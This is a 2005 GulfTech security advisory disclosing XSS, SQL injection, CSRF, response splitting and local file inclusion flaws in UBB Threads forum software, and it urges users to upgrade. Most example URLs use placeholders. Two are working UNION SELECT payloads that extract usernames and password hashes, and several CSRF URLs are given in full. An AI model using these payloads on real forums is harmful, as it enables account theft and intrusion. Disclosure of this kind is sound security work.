Infopop UBB Threads Multiple Vulnerabilities
##########################################################
# GulfTech Security Research June 23rd, 2005
##########################################################
# Vendor : Infopop Corporation
# URL : http://www.ubbcentral.com/ubbthreads/
# Version : All Versions Prior To 6.5.2 Beta
# Risk : Multiple Vulnerabilities
##########################################################
Description:
UBB Threads is a very popular forum system developed by Infopop.
There are a number of vulnerabilities in UBB Threads that may allow
an attacker to execute cross site scripting, http response splitting,
and cross site request forgery attacks. Also, an attacker may include,
execute, or read arbitrary local files. These vulnerabilities may allow
for an attacker to completely compromise an installation of UBB Threads
and possibly more. Users are encouraged to upgrade as soon as possible
to the latest UBB Threads release.
Cross Site Scripting:
There are a large number of cross site scripting issues in UBB Threads.
Due to the large number the examples I will simply put a [XSS] where an
attacker might place offending code. Some examples might look like this.
http://ubbt/dosearch.php?Cat=0&Searchpage=2[XSS]&topic=
http://ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818[XSS]&page=0&what=showflat&fpart=1&vc=1
http://ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818&page=0&what=showflat[XSS]&fpart=1&vc=1
http://ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818&page=0[XSS]&what=showflat&fpart=1&vc=1
http://ubbt/showprofile.php?Cat=0&User=7&Number=39818[XSS]&Board=UBB8&what=showflat&page=0&fpart=1&vc=1
http://ubbt/showprofile.php?Cat=0&User=7&Number=39818&Board=UBB8[XSS]&what=showflat&page=0&fpart=1&vc=1
http://ubbt/showprofile.php?Cat=0&User=7&Number=39818&Board=UBB8&what=showflat[XSS]&page=0&fpart=1&vc=1
http://ubbt/showflat.php?Cat=0&Board=UBB5&Number=42173&page=0&fpart=all[XSS]
http://ubbt/showflat.php?Cat=0&Board=UBB5&Number=42173&page=0[XSS]&fpart=all
http://ubbt/showmembers.php?Cat=&like=p[XSS]&sb=1&page=1
These vulnerabilities can be used to steal sensitive information from a
user, and possibly lead to malicious code execution in the context of
the victims browser.
SQL Injection:
There are a number of SQL Injection issues in UBB Threads that allow for
an attacker to influence, or disclose sensitive information in the
underlying
database. Below are some examples.
http://ubbt/download.php?Number=42227[SQL]
http://ubbt/calendar.php?Cat=7&month=6&year=2005[SQL]
http://ubbt/calendar.php?Cat=&month=7[SQL]&year=2005
http://ubbt/modifypost.phpCat=0&Username=foobar&Number=
[SQL]&Board=UBB8&page=0&what=showflat&fpart=&vc=1&Approved=yes&convert=markup
&Subject=Re%3A+Pruning+old+posts&Icon=book.gif&Body=yup&markedit=1&addsig=1&
preview=1&peditdelete=Delete+this+post
The above is just examples, and will not do anything except maybe
trigger an error
but I will provide a few examples of how these vulnerabilities could be
exploited.
First, there is an SQL Injection issue that occurs when emailing a
thread to someone
http://ubbt/mailthread.php?Cat=0&Board=UBB2&Number=-99'%20UNION%20SELECT%20U_Username
,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'victim'/*&page=0&vc=1&
fpart=1&what=showflat
Visiting a url like the one above by itself will not cause much to
happen, but if
you complete the form, you will notice an email arrives at the address
you specified
in the form, and the contents of that email are the contents you queried
from the
database! Also, in the private messaging feature there is another
serious SQL Injection
issue.
http://ubbt/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,U_Username,U_Password,
0,0%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'foobar'/*&status=N&box=received
A url like the one above would yield the user 'foobar' s password hash
and username.
http://ubbt/addfav.php?Cat=0&Board=UBB2&main=41654[SQL]&type=reminder&Number=41654&page=
0&vc=1&fpart=1&what=showflat
http://ubbt/notifymod.php?Cat=0&Board=UBB5&Number=42173[SQL]&page=0&what=showthreaded
http://ubbt/grabnext.php?Cat=4&Board=UBB23&mode=showflat&sticky=0&dir=old&posted=1045942715[SQL]
Also, there are a few SQL Injection issues that require the post method.
For example
when rating a profile, or post, or anything else (they all use the same
feature) you
can specify arbitrary SQL statements to the "Main" parameter. Also, when
conducting a
search an attacker may specify arbitrary SQL statements in the "Forum[]"
array and
have them execute successfully with the privileges of the current mysql
user.
Cross Site Request Forgery:
There are a number of CSRF issues in UBB Threads, and these issues allow
for an attacker
to unwillingly change their ignore, and address settings.
http://ubbt/addaddress.php?Cat=0&User=123&Board=&Number=&what=showmembers&page=1
http://ubbt/toggleignore.php?Cat=0&User=123&Board=&Number=&what=showmembers&page=1
http://ubbt/removeignore.php?Cat=&User=123
http://ubbt/removeaddress.php?Cat=&User=123
These issues really affect privacy on the forums, and make it nearly
impossible to keep
away from any harassing members :)
HTTP Response Splitting:
There are several HTTP Response Splitting issues in UBB Threads. These
issues allow
for an attacker to manipulate headers sent back to the user, and may
allow for code
execution in the context of the victims browser. The "Cat" parameter in
the files
toggleshow.php, togglecats.php, and showprofile.php are all vulnerable.
Local File Inclusion:
UBB Threads suffers from a local file inclusion vulnerability when
handling language
preferences extracted from the cookie. The "language" parameter is never
sanitized
and can thus be exploited by specifying an arbitrary file location
appended with a null
byte (%00). This could lead to code execution, or in most cases, file
disclosure.
Solution:
An updated version of UBB threads has been released to address the
previously mentioned
issues, and users are strongly advised to upgrade immediately.
http://www.ubbcentral.com/boards/showflat.php/Cat/0/Number/42351/Main/42351/#Post42351
Users can visit the above url to get information regarding UBB Threads
security updates.
Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00084-06232005
Credits:
James Bercegay of the GulfTech Security Research Team